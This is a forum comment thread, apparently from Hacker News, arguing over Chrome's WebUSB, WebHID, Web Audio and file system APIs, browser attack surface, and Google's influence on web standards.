That is not what I said. I said they are trying to let websites tamper with your USB devices. Aka, they introduced WebUSB, yet another mostly-useless browser feature that exposes a large attack area to the web which I need to block by policy, that was probably solely introduced so they could release https://flash.android.com/ which very few people need or use, and could just as well be a desktop app.
It does create some interesting security implications that I hope get addressed properly. But I think you are not seeing its potential.
As someone who dabbles with Arduino I actually do want USB support. I don’t particularly like installing everything but the kitchen sink on my desktop via homebrew just to get a decent development environment going. (Last time I tried it, the Python install failed because homebrew doesn’t support the OS version I’m running. I really dislike homebrew.)
Running embedded development in a browser and just giving access to a certain USB device would be an improvement, letting you do it on any machine or even a Chromebook. It’s going to take a long time to get there but I can see it being useful someday.
And you've just picked another extreme niche, like flashing Android ROMs.
Here's the problem with things like WebUSB that Google injects into Chrome: It's going out to over a billion users, including seniors, enterprise environments, and the technologically inept. And it introduces security risks. Why would anyone launch WebUSB out to, say, my grandma, just because maybe 100,000 people in the world might use features that require websites directly talk to a USB device?
Ironically, I could tell you how Google could fix this right now, but I'm confident they won't do it because it's not Googley enough: Leave it and a dozen similarly obscure web features permanently disabled by default behind an about:config flag. Google is obsessed with making things "just work", so they enable everything, even though something like WebUSB will only ever be used by people who are doing something sophisticated enough that flipping an about:config flag is in their wheelhouse.
As an IT admin, what's really frustrating is having to edit group policy every month to disable each and every new security hole and pop-up call-to-action feature browsers introduced that month. (Google is not alone in this, Firefox is guilty too to some extent, and Edge clones all of Google's bad ideas, of course.)
And for people at home, the thing is, non-technical users approve everything. They hit that accept button on every bloody prompt they get. And I know this because I spent a lot of time cleaning out the Privacy permissions tab on people's browsers when they have problems. "Why are three porn sites able to send desktop notifications on this browser?" Who the heck knows?
Just to make it easier for you to play with an Arduino, everyone else shouldn't have to play whack-a-mole with "features" silently injected into their browser via evergreen updates.
I agree that some things should be hidden in "developer mode" (as it's called on Android). That might work for Arduino.
But the audience for WebUSB might grow. Many consumer electronic devices have companion desktop apps to configure them. Wouldn't it be nice if we didn't have to write them multiple times, and you could use the same software to configure them on Linux or a Chromebook as well?
You're claiming that Google just wants this for flashing Android but how do you know? Maybe they're thinking bigger.
It's possible that's what Google wants, but it's also a terrible idea. Browsers should be reducing their attack surface, not increasing it.
If I was to characterize most of my issues with the Chrome team, it'd be that they need to stay in their own lane. They've injected a botched antivirus app into their releases before, DoH basically sidesteps the OS' networking stack because it was inconvenient for them they couldn't change it, etc.
At what point can we tell the Chrome team to stop feature creeping and just try to make their web browser waste less RAM?
The answer there would be desktop apps, though, not introducing a massive new hole in browser sandboxing. And it's also a dream of something unlikely to return, I think my Vive is the last product I've seen have wireless devices you plug into a desktop to update, and it's kinda a pain in the rear.
The filesystem api would actually be a godsend regardless of whether if it would be limited to a single site owned directory or not. Right now we're limited to indexedDB, which is better than before where we only had localStorage, but persistence is a constant concern. I am always worried about whether the browser will just up and delete things. If they make everything be private and unsharable i.e. limited to a single domain, that includes no sharing between subdomains it would be perfectly viable.
The most important thing to note here is that we're looking to escape vendor control. A lot of people miss that. If browsers can get feature parity with apps that means no more app stores. no more app stores means more freedom of choice. Maybe that's not good for grandma but it's good for you and me.
There are a few decisions by chrome developers that I will never support, like a bunch of stuff in Manifest V3 but hopefully with other browser companies will provide a way around boneheaded, selfish corporate decisions while we reap the benefits of better integration with the operation system.
I 100% agree that it is a godsend, especially for developers who want to offer competent alternatives to shitty electron wrapper apps. What makes me really sad is how some of the very wise people conflate this to a security risk to an average internet surfer.
That link you posted is referring to a completely different API, the File System Access API. There are a bunch of different APIs with extremely similar names in this space, with very different levels of browser support.
1. FileSystem API: (Note that this is one word, "FileSystem.") This deprecated API simulates a local file system that web apps can navigate around. With this API, you can develop apps that can read, write, and create files and directories in a sandboxed, virtual file system, but you can't use it to access files in the user's Documents folder.
You can polyfill this API, and IMO it's not very useful. It's typically backed by actual files, but there's no expectation that users will directly access that folder.
2. File System Access API (formerly known as Native File System API and prior to that it was called Writeable Files API): This API lets webapps launch a picker to select a file or folder; from then on, the webapp can write to that file/folder without prompting the user (until you close the tab).
Without this API, if your webapp has a file you'd like to write, all you can do is let the user download it. Downloaded files always either automagically appear in the Downloads folder (and do not permit overwriting existing files; identical names get autorenamed), or they launch a picker, which nags the user with "Are you sure your want to replace this file?"
The FSA API cannot be polyfilled, and it's impossible-ish to implement a good web-based text editor without it. (Imagine if your favorite editor could only generate new files and never overwrite old ones, or if it nagged you "are you sure?" every time you tried to save your changes.)
That's the API you linked to above. There, a guy says he thinks it should be harmful, but that's not the standards position that Mozilla actually adopted. They currently mark it as "defer" (though they may decide to come around and mark it "harmful") https://mozilla.github.io/standards-positions/#native-file-s...
3. File Handling API: This is what TFA is about. It allows your webapp to say "I handle .txt files; when someone double clicks on a .txt file, open it in my webapp."
https://github.com/mozilla/standards-positions/issues/158 is where they discussed that. (Note this is issue 158, as opposed to issue 154 in your link.) I agree with Mozilla that it makes no sense to implement the File Handling API without the File System Access API.
You're not being conspiratorial at all. At some point in the last decade the Chrome organization decided that they would pull their own version of classic IE where between WebExtensions/Chrome Apps (their own conveniently proprietary "web" standards... at least they killed chrome apps) and massive piles of half-assed bespoke APIs that no competitor can afford to implement, they would ensure that Blink was the only "web" capable of running lots of new software.
While it wasn't the first example of this, I think Web Audio set the standard for this pattern - individual Chrome contributors making their best effort to design and implement a cool API, but then the org's scheduling and priorities result in it shipping before it's remotely ready and before other browser vendors have meaningfully contributed to the process. This early ship date combined with Google's market power results in applications building on top of these immature APIs, which means that other vendors have no choice but to implement and ship absolute garbage.
Web Audio is a great example because they kicked that steaming pile out the door in order to enable (Chrome-only, naturally) web ports of things like Angry Birds, even though in practice that API was barely usable for anything and had all sorts of undesirable characteristics that still aren't completely fixed nearly a decade later. At the time Mozilla was working on a design and implementation for an API that was actually good, but Google's unilateral move killed any chance of a good solution being shipped by multiple vendors.
Other Chrome-only APIs have been similar stories, though at least Native Client/Pepper - probably the worst example - failed because the doomed design and implementation made it impossible for it to even hit their own production targets and drove app developers (like Unity) away.
In some cases you can meaningfully argue that other vendors are just dragging their feet - Safari being the main example, where they simply have been years late to ship useful things that both FF and Chrome had - but in practice nobody else has the massive development resources Google has to waste on dead-end trash APIs and nobody wants to pay the cost of implementing something they'll have to throw out a year later with the knowledge that websites won't support their browser anyway.
The meaningful security/privacy concerns Apple and Mozilla use to reject new Google APIs are also a good example, because Google has the resources to just address these security issues via brute force. They can unilaterally deprecate an existing API and break tons of websites (Web Audio, video, etc) or just ship something busted and rapidly rework it to try and paper over the consequences (WebMidi etc being used for fingerprinting...)
In my time working on the nacl (then WebAssembly) team it became clear to me that most of the devs there weren't acting on malicious motives, the overall structure and priorities of Google as a whole just produced bad outcomes. Sadly with their de-facto monopoly there's no pressures to fix that.
I think you’re discounting that everything Chrome does these days is designed to become a web standard, unlike IE which was trying to have browser-only features for lock-in.
Chrome does seem to be somewhat hasty, which can have a similar effect in practice. But it might seem different if you actually want a feature and don’t want to wait years for it?
I don’t think Web Audio is as bad as you say. There is the ScriptProcessorNode which is getting deprecated in favor of audio worklets because having JavaScript processing audio on the foreground thread is a bad idea. But other than that, it seems nice for making simple audio processing graphs, and the infrastructure for putting JavaScript in the background took a while to work out.
Just look at how many revisions the W3 spec has had. It had even more churn that wasn't visible there... IIRC it originally shipped with synchronous audio decoding on the main thread for some reason. Chrome has also shipped multiple p0/p1 level bugs in Web Audio that users had to wait weeks or months for fixes to, like a while back when they introduced a priority inversion while rewriting their whole mixer so audio was just completely broken for a double-digit % of their userbase.
They also treated basic use cases like 'pause a piece of playing audio' as out of scope, which is simply bizarre.
Every web app or port I've ever touched had issues caused by the poor design and quality of the API.
> I think you’re discounting that everything Chrome does these days is designed to become a web standard
Indeed. It's rarely designed to be a web standard. However, Chrome rams that through standards body, calls that a standard and enables it by default in Chrome.
Just look at WebHID. Firefox devs couldn't even understand the spec [1], it was so Chrome-specific. Guess what, it's enabled by default in Chrome [2] and Chrome says that it's a standard now [3]. Most of those non-standards are not even out of the "draft" stage of the standards process, with both Safari and Firefox objecting to many, many, many things in the specs.
The comment in [1] is from January and the spec is dated March, so perhaps they saw an early draft? I only took a quick glance, but it seems fairly readable now. It would be nice to be able to connect game controllers to web pages.
The fact that they tried and failed (if they did fail; maybe they will succeed eventually?) shows that they cared at least a little about standardization, even if it was somewhat half-hearted.
When negotiations fail, it's not a given that one side is entirely at fault.
> The comment in [1] is from January and the spec is dated March, so perhaps they saw an early draft?
The "request for Mozilla's position" was on December 1, 2020.
Chrome enabled it by default in Chrome 89 that was released only 4 months later, on March 3, 2021.
So they "requested Mozilla's position" and still went ahead, implemented it and enabled it by default. But so nice of them to update the spec two weeks after they released it.
> The fact that they tried and failed (if they did fail; maybe they will succeed eventually?) shows that they cared at least a little about standardization
As reality and facts show, they couldn't care less about standardization.
> When negotiations fail, it's not a given that one side is entirely at fault.
Please show me at which point this was a negotiation.
This will definitely go against the general consensus here; but as a frontend developer the association of Google and web.dev has never been a mystery to me or my team.
I don't think it is even a case of hiding at all. just a short domain handy to be linked to during talks, presentations etc...
